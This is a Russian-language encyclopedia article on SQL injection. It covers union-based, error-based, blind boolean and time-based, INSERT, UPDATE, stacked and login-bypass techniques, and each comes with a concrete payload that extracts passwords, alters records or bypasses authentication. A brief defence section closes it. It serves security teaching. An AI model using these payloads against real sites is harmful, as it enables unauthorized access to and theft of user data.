SQL-инъекция

Материал из Национальной библиотеки им. Н. Э. Баумана
Последнее изменение этой страницы: 12:49, 20 июня 2019.

Внедрение SQL-кода или SQL-инъекции (англ. SQL injection) — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода. Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных (например, прочитать содержимое любых таблиц, удалить, изменить или добавить данные), получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере.

Введение в SQL

Для успешной инъекции необходимо знать основные операторы языка SQL. Есть набор операторов, которые чаще всего используются для изменения запросов. SELECT – возвращает выборку из базы данных удовлетворяющую описанным условиям. Оператор SELECT имеет следующую структуру: SELECT DISTINCT | DISTINCTROW | ALL] select_expression [FROM table_references] [WHERE where_definition] [GROUP BY {unsigned_integer | col_name | formula}] [HAVING where_definition] [ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC], ...] Пример использования:

SELECT * FROM users WHERE username = Admin;

OR – логическое ИЛИ. AND – логическое И. Пример использования:

SELECT * FROM users WHERE username = Admin AND (password = Admin OR password = qwerty123);

LIKE – оператор сравнения строк, Для оператора LIKE символ "%" соответствует любой строке. Пример использования:

SELECT * FROM users WHERE login LIKE 'Admin' AND password LIKE '123' OR password LIKE %;

UNION – объединяет две выборки в одну. Запрос будет выполнен правильно, только если выборки имеют одинаковое количество столбцов. Пример использования:

SELECT * FROM users WHERE login = 'Admin' UNION SELECT FROM books WHERE author = Stephen King AND title = It	;

GROUP BY – группирует результаты выборки по выбранным столбцам. Пример использования:

SELECT * FROM books GROUP BY author;

ORDER BY – упорядочивает результаты выборки по выбранным столбцам. Пример использования:

SELECT * FROM books ORDER BY title;

GROUP_CONCAT() – представляет выборку в виде строки. CONCAT_WS(sep, param1, param2, ...) – объединение подстрок в одну строку c разделителем "sep". Пример использования:

SELECT GROUP_CONCAT(CONCAT_WS(0x3a, login, password)) FROM Users;

Обозначения комментариев:

  • #comment
  • -- comment
  • /*comment*/
  • /*!int comment*/ – Все заключенное в данный комментарий будет интерпретироваться как SQL запрос если номер данной версии MySQL равен указанному числу int после восклицательного знака или больше.

Типы SQL-иньекций

Типы SQL-иньекций разделяются по нескольким параметрам. Одним из критериев является тип запроса, в который мы можем встраивать наши инструкции. Основные типы запросов, которые будут рассмотрены, это SELECT, INSERT, UPDATE и DELETE.

SELECT

Внедрение произвольного SQL в SELECT запросе является одной из самых часто встречающихся уязвимостей категории SQL-Инъекций. SELECT-запрос отличается от остальных тем, что не может изменять данные, находящиеся в таблице.

Рассмотрим подробнее, какие существуют подгруппы SELECT-SQL иньекций.

Union-based

Первый метод заключается в добавлении конструкции UNION, позволяющей обьединять результаты нескольких SQL-запросов. Для этого требуется, чтобы у запросов было одинаковое количество столбцов возвращаемых значений (у некоторых баз данных, таких, как IBM DB2, к тому же требуется, чтобы соответствующие столбцы были одинаковых типов).

Пример: Сайт, возвращающий имя и логин пользователей по id, использует следующий SQL-запросов

SELECT name,email from users where id='<ввод>';

Для успешной эксплуатации потребуется дописать запрос, введя следующее:

1' UNION SELECT password,secret from users --

В итоге запрос будет выглядеть, как:

SELECT name,email from users where id='1'
UNION
SELECT password,secret from users -- ';

И нам вернутся все пароли пользователя.

Стоит заметить, что иногда показывается только одно значение из базы данных, поэтому потребуется ограничить вывод, добавив несуществующее условие в WHERE и поставить конструкцию LIMIT для высвечивания требуемой строки по номеру.

Error-based

Суть Error-based заключается в том, что мы можем извлекать нужную нам информацию из запроса посредством просмотра ошибок работы вызываемых функций. Одной из таких функций в БД MySQL является extractvalue().

Пример запроса, который вернет нам версию базы данных в сообщении ошибки:

SELECT name,email from users where id='1' and extractvalue(rand(),concat(0x3a,version())) --

Blind

Слепыми SQL-иньекциями называют технику эксплуатации, когда результат работы SQL-запроса определяется по косвенным признакам, например, по времени ответа.

Boolean-based

Рассмотрим подробнее принцип работы boolean-based sql injection:

Пусть есть SQL-запрос:

SELECT email FROM users WHERE id='<input>';

Отличаться запрос от предыдущих примеров будет тем, что полученная почта не будет высвечиваться, а, например, обрабатываться на Backend (пусть отправка письма восстановления аккаунта).

В случае, если по SQL-запросу из базы данных не возвращается хотя бы одна строка, то мы можем наблюдать ошибку с отсутствующим пользователем.

Для того, чтобы раскрутить эту уязвимость, мы самостоятельно можем вписать следующее:

1' and password LIKE 'a%

чтобы наш запрос принял вид:

SELECT email FROM users WHERE id='1' and password LIKE 'a%';

В таком случае, мы увидим ошибку отсутствующей почты (при существующем аккаунте с id=1) только, если первая буква пароля не 'a'. После чего мы можем перебирать по 1 букве и получать значения из базы данных.

В некоторых случаях удобнее реализовать бинарный поиск и изучать в каких диапазонах таблицы ASCII лежит символ, используя (например, в MySQL) функцию SUBSTRING и ASCII:

ASCII(SUBSTRING(password,1,1)) < 100
Time-based

Time-based отличается от boolean-based тем, что результат работы запроса мы определяем по времени задержки ответа от сервера. Пример запроса:

SELECT login FROM users WHERE id='<input>';

И если мы введем

1' AND IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0) --

То получим следующий запрос:

SELECT login FROM users WHERE id='1' AND IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0) -- ';

И в случае, если версия базы данных будет 5, то, например, страница веб-сайта загрузится на 15 секунд медленнее.

INSERT

SQL-injection в INSERT запрос - процесс сложнее, так как во многих случаях потребует наличие исходников (для избежания повреждения данных в таблицах).

Принцип эксплуатации INSERT SQL-injection заключается в добавлении в таблицу строк-результатов работы другого SQL-запроса (хотя формально выполняется только один запрос в базу данных). Рассмотрим на примере.

Есть запрос, добавляющий пользователя в БД:

INSERT INTO users(email,login,password) VALUES('<input0>','<input1>','<input2>');

Таким образом, если мы в поле логина введем следующее:

test1','1234'),('my@email.com',VERSION(),'1337') --

То получим запрос, создающий двух пользователей, второй из которых с почтой my@email.com и паролем 1337 будет содержать результат работы VERSION() - текущей версии базы данных (MySQL):

INSERT INTO users(email,login,password) VALUES('...','test1','1234'),('my@email.com',VERSION(),'1337') --

UPDATE

Основывается на том же методе, что и в INSERT SQL-INJECTION.

Пример запроса:

UPDATE users SET about='<input>' WHERE id='1';

Введем в input следующее:

', email=VERSION() WHERE id='1' --

И в итоге получим запрос, помещающий в поле почты пользователя с id=1 версию БД:

UPDATE users SET about='', email=VERSION() WHERE id='1' -- ' WHERE id='1';

Остальное

Stacked

Суть Stacked SQL injection сводится к тому, что возможно за раз отправить несколько SQL-запросов. Чаще всего такой тип SQL-injection эксплуатируют у баз данных MSSQL.

Пример запроса:

SELECT login FROM users WHERE id='<input>';

Для эксплуатации введем:

1'; SELECT password FROM users WHERE id='1

И получим два запроса:

SELECT login FROM users WHERE id='1'; SELECT password FROM users WHERE id='1';

Login bypass auth

В некоторых случаях требуется не получить значение из базы данных, а завершить запрос так, чтобы от БД вернулось верное значение.

Наглядным примером этого является уязвимый запрос в БД на авторизацию:

SELECT id FROM users WHERE login='<input1>' AND password='<input2>';

Таким образом, даже при экранировании кавычек, мы можем воспользоваться знаком экранирования - обратным слешем и завершить запрос так, чтобы он вернул id=1.

Input1:

1234\

Input2:

 UNION SELECT 1 --

И получившийся запрос, возвращающий единицу:

SELECT id FROM users WHERE login=  '1234\' AND password='   UNION SELECT 1 -- ';

Защита от SQL-инъекций

При написании логики сайта следует особенно внимательно относиться к полям для ввода данных. Экранировать все символы и знаки, которые могут восприниматься неоднозначно языком запросов SQL, также не стоит забывать о приведении типов. В базе данных следует закрыть доступ к таблицам, которые содержат конфиденциальные данные, особенно такие таблицы как INFORMATION_SCHEMA. Пароли, конечно же, ни в коем случае не стоит хранить в открытом виде.

Список использованной литературы

  1. PHP // php.net. [2017—2017]. URL: https://php.net (дата обращения: 28.04.2017).
  2. Примеры кода PHP и SQL // w3schools. [2017—2017]. URL: https://www.w3schools.com/php/default.asp (дата обращения 28.04.2017).
  3. Внедрение SQL-кода // Википедия. [2017—2017]. URL: http://wikipedia.org/wiki/Внедрение_SQL-кода (дата обращения: 28.04.2017).